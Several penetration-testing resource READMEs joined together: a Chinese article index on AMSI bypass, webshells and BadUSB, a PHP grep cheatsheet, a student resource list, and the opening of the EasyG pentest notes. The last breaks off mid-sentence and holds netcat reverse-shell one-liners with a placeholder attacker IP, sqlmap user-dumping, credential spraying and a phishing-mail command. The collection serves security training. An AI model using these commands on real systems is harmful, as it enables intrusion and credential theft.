[Pentest_Note-渗透Tips,总结了渗透测试常用的工具方法](https://github.com/xiaoy-sec/Pentest_Note) - [红蓝对抗之Windows内网渗透-腾讯SRC出品](./books/红蓝对抗之Windows内网渗透-腾讯SRC出品.pdf) - [远程提取Windows中的系统凭证](./books/远程提取Windows中的系统凭证.pdf) - [绕过AMSI执行powershell脚本](./books/绕过AMSI执行powershell脚本.md)|[AmsiScanBufferBypass-相关项目](https://github.com/rasta-mouse/AmsiScanBufferBypass) - [踩坑记录-Redis(Windows)的getshell](./books/踩坑记录-Redis(Windows)的getshell.pdf) - [Cobal_Strike踩坑记录-DNS Beacon](./books/Cobal_Strike踩坑记录-DNS%20Beacon.pdf) - [windows下隐藏webshell的方法](./books/windows下隐藏webshell的方法.md) - [DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破,伪造管理员cookie登陆后台getshell](./books/DEDECMS伪随机漏洞分析(三)碰撞点.pdf) - [针对宝塔的RASP及其disable_functions的绕过](./books/针对宝塔的RASP及其disable_functions的绕过.pdf) - [渗透基础WMI学习笔记](./books/渗透基础WMI学习笔记.pdf) - [【海洋CMS】SeaCMS_v10.1代码审计实战](./books/SeaCMS_v10.1代码审计实战.pdf) - [红队攻防实践:闲谈Webshell在实战中的应用](./books/红队攻防实践:闲谈Webshell在实战中的应用.pdf) - [红队攻防实践:unicode进行webshell免杀的思考](./books/红队攻防实践:unicode进行webshell免杀的思考.pdf) - [php无eval后门](./books/php无eval后门.pdf) - [【代码审计】ThinkPhp6任意文件写入](./books/[代码审计]ThinkPhp6任意文件写入.pdf) - [YzmCMS代码审计](./books/YzmCMS代码审计.pdf) - [BadUSB简单免杀一秒上线CobaltStrike](./books/BadUSB/BadUSB简单免杀一秒上线CobaltStrike.pdf) - [BasUSB实现后台静默执行上线CobaltStrike](./books/BadUSB/BadUSB实现后台静默执行上线CobaltStrike.pdf) - [手把手带你制作一个X谁谁上线的BadUSB](./books/BadUSB/手把手带你制作一个X谁谁上线的BadUSB.pdf) - [一文学会Web_Service漏洞挖掘](./books/一文学会Web_Service漏洞挖掘.pdf) - [唯快不破的分块传输绕WAF](./books/唯快不破的分块传输绕WAF.pdf) - [Unicode的规范化相关漏洞挖掘思路实操](./books/Unicode的规范化相关漏洞挖掘思路实操.pdf) - [换一种姿势挖掘任意用户密码重置漏洞-利用不规范化的Unicode编码加burp挖掘](./books/换一种姿势挖掘任意用户密码重置漏洞-利用Unicode域名加burp挖掘.pdf) - [全方面绕过安全狗2](./books/全方面绕过安全狗2.pdf) - [冰蝎——从入门到魔改](./books/冰蝎——从入门到魔改.pdf) - [冰蝎——从入门到魔改(续)](./books/冰蝎——从入门到魔改(续).pdf) - [技术分享_ 内网渗透手动学习实践](./books/技术分享%20_%20内网渗透手动学习实践.pdf) - [权限维持之打造不一样的映像劫持后门](./books/权限维持之打造不一样的映像劫持后门.pdf) - [Jboss漏洞利用总结](./books/Jboss漏洞利用总结.pdf) - [Java RMI服务远程命令执行利用](./books/Java_RMI服务远程命令执行利用.pdf)|[小天之天的测试工具-attackRMI.jar](./tools/attackRMI.jar) - [PbootCMS任意代码执行(从v1.0.1到v2.0.9)的前世今生](./books/PbootCMS任意代码执行(从v1.0.1到v2.0.9)的前世今生.pdf) - [实战绕过双重waf(玄武盾+程序自身过滤)结合编写sqlmap的tamper获取数据](./books/实战绕过双重waf(玄武盾+程序自身过滤)结合编写sqlmap的tamper获取数据.pdf) - [OneThink前台注入分析](./books/OneThink前台注入分析.pdf) - [记一次从源代码泄漏到后台(微擎cms)获取webshell的过程](./books/记一次从源代码泄漏到后台(微擎cms)获取webshell的过程.pdf) - [Android抓包—关于抓包的碎碎念-看雪论坛-Android板块ChenSem](./books/关于抓包的碎碎念.pdf)|[原文地址](https://bbs.pediy.com/thread-260965.htm) - [CVE-2020-15778-Openssh-SCP命令注入漏洞复现报告](./books/CVE-2020-15778-Openssh-SCP命令注入漏洞复现报告.pdf) - [bolt_cms_V3.7.0_xss和远程代码执行漏洞](./books/bolt_cms_V3.7.0_xss和远程代码执行漏洞.pdf) - [关于Cobalt_Strike检测方法与去特征的思考](./books/关于Cobalt_Strike检测方法与去特征的思考.pdf) - [代码审计_PHPCMS_V9前台RCE挖掘分析](./books/代码审计_PHPCMS_V9前台RCE挖掘分析.pdf) - [【免杀】C++免杀项目推荐](./books/C++免杀项目推荐.pdf)-[附件下载](./tools/RefacterC.zip)|[原文地址](https://mp.weixin.qq.com/s/0OB0yQAiOfsU4JqkCDUi7w) - [利用图片隐写术来远程动态加载shellcode](./books/利用图片隐写术来远程动态加载shellcode.pdf)|[原文地址](https://mp.weixin.qq.com/s/QZ5YlRZN47zne7vCzvUpJw) - [[后渗透]Mimikatz使用大全](./books/[后渗透]Mimikatz使用大全.pdf)|[原文地址](https://www.cnblogs.com/-mo-/p/11890232.html) - [渗透测试XiaoCms之自力更生代码审计-后台数据库备份SQL注入到getshell](./books/渗透测试XiaoCms之自力更生代码审计-后台数据库备份SQL注入到getshell.pdf)|[原文地址](https://mp.weixin.qq.com/s/K2nUSMyE4PwVYqa7t95BTQ) ## <span id="head9"> 说明</span> ### 免责声明 > 1.此项目所有文章、代码部分来源于互联网,版权归原作者所有,转载留存的都会写上原著出处,如有遗漏,还请说明,谢谢! > 2.此项目仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任! > 3.如果项目中涉及到你的隐私或者需要删除的,请issue留言指名具体文件内容,附上你的证明,或者邮箱联系我,核实后即刻删除。 ### 喜讯 在`2020-08-16`登上`GitHub`的`Trending`日榜,谢谢大家支持,谢谢那些在freebuf和公众号推荐的师傅,我会继续努力,期待有靠谱的师傅一起来维护优化,感兴趣的邮箱联系我吧! ![](./img/trending.png) ### 最后,选一个屁股吧! ![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg)
# Cheatsheet for finding vulnerable PHP code using grep This will assist you in the finding of potentially vulnerable PHP code. Each type of grep command is categorized in the type of vulnerabilities you generally find with that function. Some of this came from a source long forgotten. If you know the source of the original sheet please let me know so I may add credit where due.. follow me: [@dustyfresh](https://twitter.com/dustyfresh) | website: https://lol.systems XSS: ---- ```grep -Ri "echo" .``` ```grep -Ri "\$_" . | grep "echo"``` ```grep -Ri "\$_GET" . | grep "echo"``` ```grep -Ri "\$_POST" . | grep "echo"``` ```grep -Ri "\$_REQUEST" . | grep "echo"``` Command execution: ------------------ ```grep -Ri "shell_exec(" .``` ```grep -Ri "system(" .``` ```grep -Ri "exec(" .``` ```grep -Ri "popen(" .``` ```grep -Ri "passthru(" .``` ```grep -Ri "proc_open(" .``` ```grep -Ri "pcntl_exec(" .``` Code execution: --------------- ```grep -Ri "eval(" .``` ```grep -Ri "assert(" .``` ```grep -Ri "preg_replace" . | grep "/e"``` ```grep -Ri "create_function(" .``` SQL Injection: -------------- ```grep -Ri "\$sql" .``` ```grep -Ri "\$sql" . | grep "\$_"``` SQLMAP Cheatsheet for WordPress: -------------------------------- ``` sqlmap -u "http://target.tld/?paramater=1" -p "parameter" --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users" ``` Information leak via phpinfo: ----------------------------- ```grep -Ri "phpinfo" .``` Find dev and debug modes: ------------------------- ```grep -Ri "debug" .``` ```grep -Ri "\$_GET['debug']" .``` ```grep -Ri "\$_GET['test']" .``` RFI/LFI: -------- ```grep -Ri "file_include" .``` ```grep -Ri "include(" .``` ```grep -Ri "require(" .``` ```grep -Ri "require(\$file)" .``` ```grep -Ri "include_once(" .``` ```grep -Ri "require_once(" .``` ```grep -Ri "require_once(" . | grep "\$_"``` Misc: ----- ```grep -Ri "header(" . | grep "\$_"``` ```grep -Ri '$_SERVER["HTTP_USER_AGENT"]' .``` Path Traversal: --------------- ```grep -Ri file_get_contents .``` ### [RATS Auditing tool for C, C++, Perl, PHP and Python](https://www.fortify.com/ssa-elements/threat-intelligence/rats.html)
<p align="center"> <img src="assets/apt42_banner.png" alt="APT42 logo" /> </p> <h1 align="center"> Resources for 42 students </h1> <h3 align="center"> Share resources, assets and information :robot: </h3> In this repository, you will find various resources, tutorials, FAQs and so forth to improve your infosec skills. ### Table of Contents - [List of resources](#list-of-resources) - [Security-related projects at 42](#security-related-projects-at-42) - [Culture](#culture) - [How to contribute](#how-to-contribute) ## List of resources ### Online courses and training - [Try Hack Me](https://tryhackme.com/): Guided challenges - good starting point - [HTB Academy](https://academy.hackthebox.eu/): Online courses focus on penetration testing and bug hunting. Good starting point. - [Open Classrooms x root-me](https://blog.openclassrooms.com/2022/08/24/cybersecurite-offensive-sexercer-avec-root-me-et-openclassrooms/): Online courses - good starting point - [Cryptohack](https://cryptohack.org/) : from beginner to advanced crypto exercices and courses. - [Cryptopals](https://cryptopals.com/): crypto exercises - [INE](https://my.ine.com/): Tutorials - good starting point - [root-me](https://www.root-me.org/): CTFish challenges - CTF training - [NewbieContest](https://www.newbiecontest.org/): CTFish challenges - CTF training - [HackThisSite](https://www.hackthissite.org/): CTFish challenges - CTF training - [Google CTF](https://capturetheflag.withgoogle.com/): CTFish challenges - CTF training for beginners by google (2021 edition). - [h4ck1ng g00gle](https://h4ck1ng.google/): CTFish challenges - CTF training for beginners (2022 edition). - [HackTheBox](https://www.hackthebox.eu/): Challenges and boxes (training environments) - requires a few basis but available starting points for new students. - [PortSwigger - Web Security Academy](https://portswigger.net/web-security): Web security training - [microcorruption](https://microcorruption.com/login): Embedded Security ### Reverse engineering - [Malware Unicorn](https://malwareunicorn.org/): Resources and workshops by Amanda Rousseau (Offensive Security Engineer, Red Team at Facebook) - [vx-underground](https://vx-underground.org/) - [Pwn.college](https://pwn.college/): Very diverse courses on many aspects of binary exploitation. - [beginners.re](https://beginners.re/): A free pdf book on reverse engineering for beginners. Really complete. ### Container security - [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html) - [kubernetes-goat](https://github.com/madhuakula/kubernetes-goat): an intentionally vulnerable cluster environment to learn and practice Kubernetes security - [peirates](https://github.com/inguardians/peirates): Kubernetes Penetration Testing tool - [gke-auditor](https://github.com/google/gke-auditor): tool to detect a set of common Google Kubernetes Engine misconfigurations ### OSINT Some CTF still available to train: - [Cybersoc | Cyber Detective CTF](https://ctf.cybersoc.wales/): entry-level OSINT CTF - [Cybersoc | Cyber Investigator CTF](https://investigator.cybersoc.wales/): the sequel to Cyber Detective CTF - [CYBAR OSINT CTF 2020](https://github.com/cybar-party/cybar-osint-ctf-2020): entry-level OSINT CTF that can be run locally - less easy than Cybersoc ### Privacy - :fr: [Guide de protection numérique, nothing2hide](https://nothing2hide.org/fr/guide-de-protection-numerique/): beginner-friendly - [Tech4Press](https://tech4press.org/en/): free digital emergency assistance service dedicated to journalists and activists - :fr: [Guides de l'association Echap](https://echap.eu.org/ressources/) - :fr: [La Quadrature du net](https://www.laquadrature.net/): Analyses juridiques ### Tools - [CTFNote](https://github.com/TFNS/CTFNote): collaborative tool for CTF teams ### Machine Learning and infosec You can check [this list](ml_for_infosec.md). ### Books - *Serious Cryptography*, Jean-Philippe Aumasson ### Career - [Career Cheatsheet](https://trailofbits.github.io/ctf/intro/careers.html) ## Security-related projects at 42 You can check [this list](projects_at_42.md) ## Culture ### Movies - [Movies For Hackers](https://github.com/k4m4/movies-for-hackers) ### Books - :fr: *La face cachée d'internet* de Rayna Stamboliyska - :fr: *Comme un empire dans un empire* d'Alice Zeniter - *Hacker, Hoaxer, Whistleblower, Spy: the Story of Anonymous*, Gabriella Coleman ### Games - [sourcing.games](https://sourcing.games/): Games for recruiters and sourcers. - [GeoGuessr](https://www.geoguessr.com/): GeoGuessr is a geography game which takes you on a journey around the world and challenges your ability to recognize your surroundings. - [Simulacra](https://store.steampowered.com/app/712730/SIMULACRA/): An interactive horror experience of exploring a missing woman’s phone. - [Yolo Space Hacker](https://store.steampowered.com/app/1341450/Yolo_Space_Hacker/): Welcome to our ethical hacker's organisation: we will teach you how to use actual hacker tools (terminal, proxy, reverse shells...) to scan the network, crack passwords, bypass server security and solve the mystery of the Bikini-72 space station. ### Podcasts - :fr: [NoLimitSecu](https://www.nolimitsecu.fr/): Podcast sur la cybersécurité. - :fr: [No Log](https://shows.acast.com/no-log): Décryptage, rencontres, chroniques, récits... - [Darknet Diaries](https://darknetdiaries.com/): True stories from the dark side of the Internet ## How to contribute You are a 42 student and willing to contribute? Follow these [guidelines](CONTRIBUTING.md).
```ruby ███████╗ █████╗ ███████╗██╗ ██╗ ██████╗ ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔════╝ █████╗ ███████║███████╗ ╚████╔╝ ██║ ███╗ ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██║ ██║ ███████╗██║ ██║███████║ ██║ ╚██████╔╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ Made with <3 by Riccardo Malatesta (@seeu) ``` [![License](https://img.shields.io/github/license/seeu-inspace/easyg)](LICENSE) [![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103)](https://github.com/ellerbrock/open-source-badges/) EasyG started out as a script that I use to automate some information gathering tasks for my hacking process, [you can find it here](easyg.rb). Now it's more than that. Here I gather all the resources about hacking that I find interesting: notes, payloads, tools and more. I try as much as possible to link to the various sources or inspiration for these notes. A large part of these notes are from: [PTS v4](https://blog.elearnsecurity.com/introducing-the-ptsv4-training-course.html), [PortSwigger Web Security Academy](https://portswigger.net/web-security), [PEN-200](https://www.offsec.com/courses/pen-200/), [TryHackMe](https://tryhackme.com/), [Jhaddix](https://twitter.com/Jhaddix), [The Cyber Mentor](https://www.thecybermentor.com/), [NahamSec](https://www.youtube.com/@NahamSec) (and [NahamCon](https://www.nahamcon.com/)), InfoSec Twitter and many other amazing people. ## Table of Contents - [Resources](#resources) - [Useful tips](#useful-tips) - [Glossary](#glossary) - [Client-specific key areas of concern](#client-specific-key-areas-of-concern) - [Check-lists](#check-lists) - [Toolset](#toolset) - [Testing layers](#testing-layers) - [Penetration Testing cycle](#penetration-testing-cycle) - [Penetration Testing process](#penetration-testing-process) - [Windows Privilege Escalation](#windows-privilege-escalation) - [Bug Bounty Hunting](#bug-bounty-hunting) - [Multiple targets](#multiple-targets) - [Single target](#single-target) - [Linux](#linux) - [Tools](#tools) - [EasyG](#easyg) - [Burp Suite](#burp-suite) - [Netcat](#netcat) - [Socat](#socat) - [PowerShell](#powershell) - [WireShark](#wireshark) - [Tcpdump](#tcpdump) - [Bash scripting](#bash-scripting) - [Metasploit Framework](#metasploit-framework) - [Starting Metasploit](#starting-metasploit) - [MSF Syntax](#msf-syntax) - [Exploit Modules](#exploit-modules) - [Post-Exploitation](#post-exploitation) - [Others](#others) - [Passive Information Gathering (OSINT)](#passive-information-gathering-osint) - [Notes](#notes) - [Tools](#tools-1) - [Target validation](#target-validation) - [User Information Gathering](#user-information-gathering) - [Active Information Gathering](#active-information-gathering) - [DNS Enumeration](#dns-enumeration) - [Port Scanning](#port-scanning) - [Netcat](#netcat-1) - [Nmap](#nmap) - [Masscan](#masscan) - [Other tools](#other-tools) - [SMB Enumeration](#smb-enumeration) - [NFS Enumeration](#nfs-enumeration) - [SNMP Enumeration](#snmp-enumeration) - [HTTP / HTTPS enumeration](#http--https-enumeration) - [SSH enumeration](#ssh-enumeration) - [Content Discovery](#content-discovery) - [Google Dorking](#google-dorking) - [GitHub Dorking](#github-dorking) - [Shodan Dorking](#shodan-dorking) - [Networking](#networking) - [Source code review](#source-code-review) - [Vulnerability Scanning](#vulnerability-scanning) - [Nessus](#nessus) - [Nmap](#nmap-1) - [Nikto](#nikto) - [Nuclei](#nuclei) - [Web vulnerabilities](#web-vulnerabilities) - [SQL Injection](#sql-injection) - [Authentication vulnerabilities](#authentication-vulnerabilities) - [Directory Traversal](#directory-traversal) - [File inclusion](#file-inclusion) - [OS Command Injection](#os-command-injection) - [Business logic vulnerabilities](#business-logic-vulnerabilities) - [Information Disclosure](#information-disclosure) - [Access control vulnerabilities and privilege escalation](#access-control-vulnerabilities-and-privilege-escalation) - [File upload vulnerabilities](#file-upload-vulnerabilities) - [Server-side request forgery (SSRF)](#server-side-request-forgery-ssrf) - [Open redirection](#open-redirection) - [XXE injection](#xxe-injection) - [Cross-site scripting (XSS)](#cross-site-scripting-xss) - [Cross-site request forgery (CSRF)](#cross-site-request-forgery-csrf) - [Cross-origin resource sharing (CORS)](#cross-origin-resource-sharing-cors) - [Clickjacking](#clickjacking) - [DOM-based vulnerabilities](#dom-based-vulnerabilities) - [WebSockets](#websockets) - [Insecure deserialization](#insecure-deserialization) - [Server-side template injection](#server-side-template-injection) - [Web cache poisoning](#web-cache-poisoning) - [HTTP Host header attacks](#http-host-header-attacks) - [HTTP request smuggling](#http-request-smuggling) - [OAuth authentication](#oauth-authentication) - [JWT Attacks](#jwt-attacks) - [GraphQL](#graphql) - [WordPress](#wordpress) - [IIS - Internet Information Services](#iis---internet-information-services) - [Lotus Domino](#lotus-domino) - [Git source code exposure](#git-source-code-exposure) - [Subdomain takeover](#subdomain-takeover) - [4** Bypass](#4-bypass) - [Application level Denial of Service](#application-level-denial-of-service) - [APIs attacks](#apis-attacks) - [Grafana attacks](#grafana-attacks) - [Confluence attacks](#confluence-attacks) - [Client-Side Attacks](#client-side-attacks) - [Client Information Gathering](#client-information-gathering) - [HTML applications](#html-applications) - [Microsoft Office](#microsoft-office) - [Windows Library Files](#windows-library-files) - [Thick client vulnerabilities](#thick-client-vulnerabilities) - [DLL Hijacking](#dll-hijacking) - [Insecure application design](#insecure-application-design) - [Weak Hashing Algorithms](#weak-hashing-algorithms) - [Cleartext secrets in memory](#cleartext-secrets-in-memory) - [Hardcoded secrets](#hardcoded-secrets) - [Unsigned binaries](#unsigned-binaries) - [Lack of verification of the server certificate](#lack-of-verification-of-the-server-certificate) - [Insecure SSL/TLS configuration](#insecure-ssltls-configuration) - [Remote Code Execution via Citrix Escape](#remote-code-execution-via-citrix-escape) - [Direct database access](#direct-database-access) - [Insecure Windows Service permissions](#insecure-windows-service-permissions) - [Code injection](#code-injection) - [Windows persistence](#windows-persistence) - [System Attacks](#system-attacks) - [Information gathering](#information-gathering) - [Windows](#windows) - [Linux](#linux-1) - [Password Attacks](#password-attacks) - [Wordlists](#wordlists) - [Password Cracking](#password-cracking) - [Network Service Attack](#network-service-attack) - [Leveraging Password Hashes](#leveraging-password-hashes) - [Port Redirection and Tunneling](#port-redirection-and-tunneling) - [Port Forwarding](#port-forwarding) - [SSH Tunneling](#ssh-tunneling) - [ssh.exe](#sshexe) - [Plink.exe](#plinkexe) - [Netsh](#netsh) - [HTTP Tunneling](#http-tunneling) - [DNS Tunneling](#dns-tunneling) - [Linux Privilege Escalation](#linux-privilege-escalation) - [Resources](#resources-2) - [Strategy](#strategy) - [Reverse Shell](#reverse-shell) - [Service Exploits](#service-exploits) - [Weak File Permissions](#weak-file-permissions) - [Exposed Confidential Information](#exposed-confidential-information) - [Sudo](#sudo) - [Cron Jobs](#cron-jobs) - [SUID / SGID Executables](#suid--sgid-executables) - [Passwords & Keys](#passwords--keys) - [NFS](#nfs) - [Kernel Exploits](#kernel-exploits) - [find with exec](#find-with-exec) - [Abusing capabilities](#abusing-capabilities) - [Windows Privilege Escalation](#windows-privilege-escalation) - [Resources](#resources-3) - [Privileges](#privileges) - [Strategy](#strategy-1) - [Add new admin user](#add-new-admin-user) - [Generate a reverse shell](#generate-a-reverse-shell) - [Kernel Exploits](#kernel-exploits-1) - [Driver Exploits](#driver-exploits) - [Service Exploits](#service-exploits-1) - [User Account Control (UAC)](#user-account-control-uac) - [Insecure File Permissions](#insecure-file-permissions) - [Registry](#registry) - [Passwords](#passwords) - [Scheduled Tasks](#scheduled-tasks) - [Installed Applications](#installed-applications) - [Startup Apps](#startup-apps) - [Hot Potato](#hot-potato) - [Token Impersonation](#token-impersonation) - [getsystem](#getsystem) - [Buffer Overflow](#buffer-overflow) - [Antivirus Evasion](#antivirus-evasion) - [ToDo](#todo) - [Thread Injection](#thread-injection) - [Shellter](#shellter) - [Active Directory](#active-directory) - [Notes](#notes-2) - [Manual Enumeration](#manual-enumeration) - [PowerView](#powerview) - [PsLoggedOn](#psloggedon) - [Service Principal Names Enumeration](#service-principal-names-enumeration) - [Object Permissions Enumeration](#object-permissions-enumeration) - [Domain Shares Enumeration](#domain-shares-enumeration) - [SharpHound](#sharphound) - [BloodHound](#bloodhound) - [Mimikatz](#mimikatz-1) - [Active Directory Authentication Attacks](#active-directory-authentication-attacks) - [Lateral Movement Techniques](#lateral-movement-techniques) - [Active Directory Persistence](#active-directory-persistence) - [Remote Desktop](#remote-desktop) - [Mobile](#mobile) - [Missing Certificate and Public Key Pinning](#missing-certificate-and-public-key-pinning) - [Cordova attacks](#cordova-attacks) - [Cloud hacking](#cloud-hacking) - [Abusing S3 Bucket Permissions](#abusing-s3-bucket-permissions) - [AWS Cognito](#aws-cognito) - [Google Cloud Storage bucket](#google-cloud-storage-bucket) - [Artificial intelligence vulnerabilities](#artificial-intelligence-vulnerabilities) - [Prompt Injection](#prompt-injection) ## Resources **Blogs** - [Skeleton Scribe (albinowax)](https://www.skeletonscribe.net) - [PortSwigger Research](https://portswigger.net/research) **Reports** - [Pentest reports](https://pentestreports.com/) - [Public pentesting reports](https://github.com/juliocesarfort/public-pentesting-reports) - [Facebook-BugBounty-Writeups](https://github.com/jaiswalakshansh/Facebook-BugBounty-Writeups) - [List of bug-bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html) **News** - [CVE trends](https://cvetrends.com/) - [Packet Storm](https://packetstormsecurity.com/) - [PortSwigger/research](https://portswigger.net/research) - [all InfoSec news](https://allinfosecnews.com/) **Newsletter** - [Bug Bytes](https://blog.intigriti.com/category/bugbytes/) - [Executive Offense](https://executiveoffense.beehiiv.com/subscribe) - [The Unsupervised Learning Newsletter](https://danielmiessler.com/newsletter/) - [Executive Offense](https://executiveoffense.beehiiv.com/subscribe) - [TLDR Newsletter](https://tldr.tech/) - [Hive Five - securibee](https://securib.ee/newsletter/) - [Vulnerable U](https://vulnu.beehiiv.com/) - [The Security, Funded Newsletter](https://securityfunded.com/) ## Useful tips - For RCE - Never upload a shell at first, you can be banned from a program. Just execute a `whoami` as a PoC, proceed with a shell if required/allowed. - For stored XSS - `console.log()` is better than `alert()`, it makes less noise especially for stored XSS. - For SQLi - Don't dump the entire db, you can be banned from a program. Just retrieve the db's name, version and/or other minor infos. Proceed with db dump only if required/allowed; - Don't use tautologies like `OR 1=1`, it can end up in a delete query or something dangerous. It's better to use `AND SLEEP(5)` or `te'+'st`. - For subdomain takeovers - use as a PoC an html page like:<br/> 9a69e2677c39cdae365b49beeac8e059.html ```HTML <!-- PoC by seeu --> ``` - For Metasploit: the port `4444` is very common with Metasploit, so this can trigger some warnings. Consider using another port if the exploit doesn't work. ### <ins>Glossary</ins> - [Session hijacking](https://owasp.org/www-community/attacks/Session_hijacking_attack) - [Session fixation](https://owasp.org/www-community/attacks/Session_fixation) Shells - Shell: we open a shell on the client - Reverse shell: we make the victim connect to us with a shell - Attacker: `nc -lvp 4444` - Victim: `nc <ip_attacker> 4444 -e /bin/sh` - Bind shell: the victim has a listener running and the attacker connects to it in order to get a shell - Attacker: `nc <ip_victim> 4444` - Victim: `nc -lvp 4444 -e /bin/sh` Payloads - Staged: Sends payload in stages, can be less stable - example: `windows/meterpreter/reverse_tcp` - Non-staged: Sends exploit all at once, larger in size and won't always work - example: `windows/meterpreter_reverse_tcp` ### <ins>Client-specific key areas of concern</ins> - [HIPAA](https://www.hhs.gov/hipaa/for-professionals/security/laws-regulations/index.html), a framework that governs medical data in the US - [PCI](https://www.pcisecuritystandards.org/), a framework that governs credit card and payment processing - [GDPR](https://gdpr-info.eu/), a Regulation in EU law on data protection and privacy in the EU and the European Economic Area - Examples - ["Twitter fined ~$550K over a data breach in Ireland’s first major GDPR decision"](https://techcrunch.com/2020/12/15/twitter-fined-550k-over-a-data-breach-in-irelands-first-major-gdpr-decision/), [Tweet from Whitney Merrill](https://twitter.com/wbm312/status/1645497243708067841) - See also: [Increasing your bugs with the impact of the GDPR](https://www.youtube.com/watch?v=7JiOqXIZHy0) ## Check-lists - [SMB-Checklist](https://github.com/pentesterzone/pentest-checklists/blob/master/Services/SMB-Checklist.md) - [Win32 Offensive Cheatsheet](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet) - [Regexp Security Cheatsheet](https://github.com/attackercan/regexp-security-cheatsheet) - [Cheat-Sheet - Active-Directory](https://github.com/drak3hft7/Cheat-Sheet---Active-Directory) - [Security Testing of Thick Client Application](https://medium.com/@david.valles/security-testing-of-thick-client-application-15612f326cac) - [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) - [OSSTMM](https://isecom.org/research.html) - [MindMaps](https://github.com/imran-parray/Mind-Maps) ### <ins>Toolset</ins> - [ ] [EasyG](#easyg) and all the connected tools - [ ] [Burp Suite](#burp-suite) and all the extensions - [ ] [Kali Linux](https://www.kali.org/) since it has everything you need ### <ins>Testing layers</ins> See [The Bug Hunter's Methodology v4.0 - Recon Edition by @jhaddix #NahamCon2020!](https://www.youtube.com/watch?v=p4JgIu1mceI) - [ ] Integrations - [ ] Application Libraries (usually JavaScript) - [ ] Application: Custom Code or COTS - [ ] Application Framework - [ ] Web Hosting Software (Default creds, Web server misconfigurations, web exploits) - [ ] Open Ports and Services (Default creds on services, service level exploits) ### <ins>Penetration Testing cycle</ins> #### <ins>0. Defining the Scope</ins> #### <ins>1. Information gathering</ins> - [Passive Information Gathering (OSINT)](#passive-information-gathering-osint) - Location information - Satellite images - Drone recon - Bulding layout - [Target validation](#target-validation) - [User Information Gathering](#user-information-gathering) - Job Information - Employees - Pictures #### <ins>2. Service enumeration</ins> - [Active Information Gathering](#active-information-gathering) - Finding subdomains - [Google Fu](#google-dorking) - [EasyG](#easyg) - Fingerprinting - [nmap](#nmap), [Wappalyzer](https://www.wappalyzer.com/), [WhatWeb](https://github.com/urbanadventurer/WhatWeb), [BuiltWith](https://builtwith.com/) - [Content Discovery](#content-discovery) - [Vulnerability Scanning](#vulnerability-scanning) #### <ins>3. Cicle</ins> - Penetration - Initial Foothold - Privilege Escalation - Lateral Movement - Maintaining access (Trojans) #### <ins>4. House keeping</ins> - Cleaning up rootkits - Covering tracks #### <ins>5. Results</ins> - Reporting / Analysis - Lessons Learned / Remediation ### <ins>Penetration Testing process</ins> - Setup the environment - Create a dedicated folder - Create files like `creds.txt` and `computers.txt` - Check that the targets are valid and owned by client #### <ins>1. Public Network Enumeration</ins> 1. Start a port scanning - `sudo nmap -sC -sV -oN nmap_results <IP> -vvv` - `rustscan <IP>` 2. Search for CVEs and exploits for the identified services 3. If there is a web server present - Run a directory research - `dirsearch -u <target> -x 404 -e *` - `dirsearch -u <target> -w /usr/share/seclists/Discovery/Web-Content/big.txt -r -R 2 --full-url -t 75 --suffix=.php` - `gobuster dir -u <target> -w /usr/share/wordlists/dirb/common.txt -o results -x txt,pdf,config` - `gobuster dir -u <target> -x txt,php,html --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -o results` - `dirbrute` and `/usr/share/wordlists/dirb/common.txt` - See the source code - Check `robots.txt` - Use `whatweb <target>` to gain more information about the technology - search again for CVEs and exploits - Run `nikto` and `nuclei` 4. If there is a ftp service present - test default credentials / anonymous login - search again for CVEs and exploits 5. If there is a smb service present - run `nmap -vvv -p 139,445 --script=smb* <IP>` - test default credentials / anonymous login - search again for CVEs and exploits #### <ins>2. Attack a Public Machine</ins> 1. Exploit the machine - Example: exploit a Directory Traversal in a Web Application to gain `/etc/passwd` or SSH private keys, like `id_rsa` or `id_ecdsa` 2. Use what you found to access the machine - Example: crack the password of `id_rsa` with `ssh2john id_rsa > ssh.hash` and `john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash`, then gain access with `ssh -i id_rsa <username>@<IP>` 3. Elevate your privileges - Run `PowerUp.ps1` `Invoke-AllChecks` in Windows - Run winPEAS or linPEAS, note: - System information - Network interfaces, Known hosts, and DNS Cache - Check what high privilege commands can be run - Config files, clear text passwords, connections strings etc. - AV Information - Any information about applications used - Any other interesting file / info - Define all potential privilege escalation vectors - Use [GTFOBins](https://gtfobins.github.io/) #### <ins>3. Internal Network Access</ins> - Password attack: test the credentials found to gain more accesses - `crackmapexec <service> <IP> -u usernames.txt -p passwords.txt --continue-on-success` - `crackmapexec <service> <IP> -u administrator -H <NTLM> --continue-on-success` - `crackmapexec <service> <IP> -u administrator -H <NTLM> --local-auth --lsa` - Explore the services found - Example: enumerate SMB shares with `crackmapexec smb <IP> -u <user> -p <password> --shares` - Client-side attack - Perform a Phishing attack - Run WebDAV and prepare the Windows Library and shortcut files - Send an email with `sudo swaks -t <recipient> -t <recipient> --from <sender> --attach @<Windows-Library-file> --server <IP> --body @body.txt --header "Subject: Staging Script" --suppress-data -ap` - If you have more information, you could leverage Microsoft Office or Windows Library Files #### <ins>4. Internal Network Enumeration</ins> - Once an access to an internal network machine is gained, use again winPEAS or linPEAS - See step `2.3.` - In Windows, verify the OS with `systeminfo` (winPEAS may falsely detect Windows 11 as Windows 10) - Gain situational awareness - Create a file `computers.txt` to document identified internal machines and additional information about them - Check for Password Manager files, like `*.kdbx` - In Windows, enumerate the AD environment and its objects - Use `SharpHound.ps1` and `BloodHound` - set up a SOCKS5 proxy to perform network enumeration via Nmap and CrackMapExec - search for accessible services, open ports, and SMB settings #### <ins>5. Attacking an Internal Web Application</ins> - Use credentials found to log in - Find potential exploits - See step `1.3.` - Use the Web Application to gain a shell as `NT AUTHORITY\SYSTEM` #### <ins>6. Domain Controller Access</ins> - Cached Credentials - If there is no AV, consider upgrading the shell to Meterpreter for 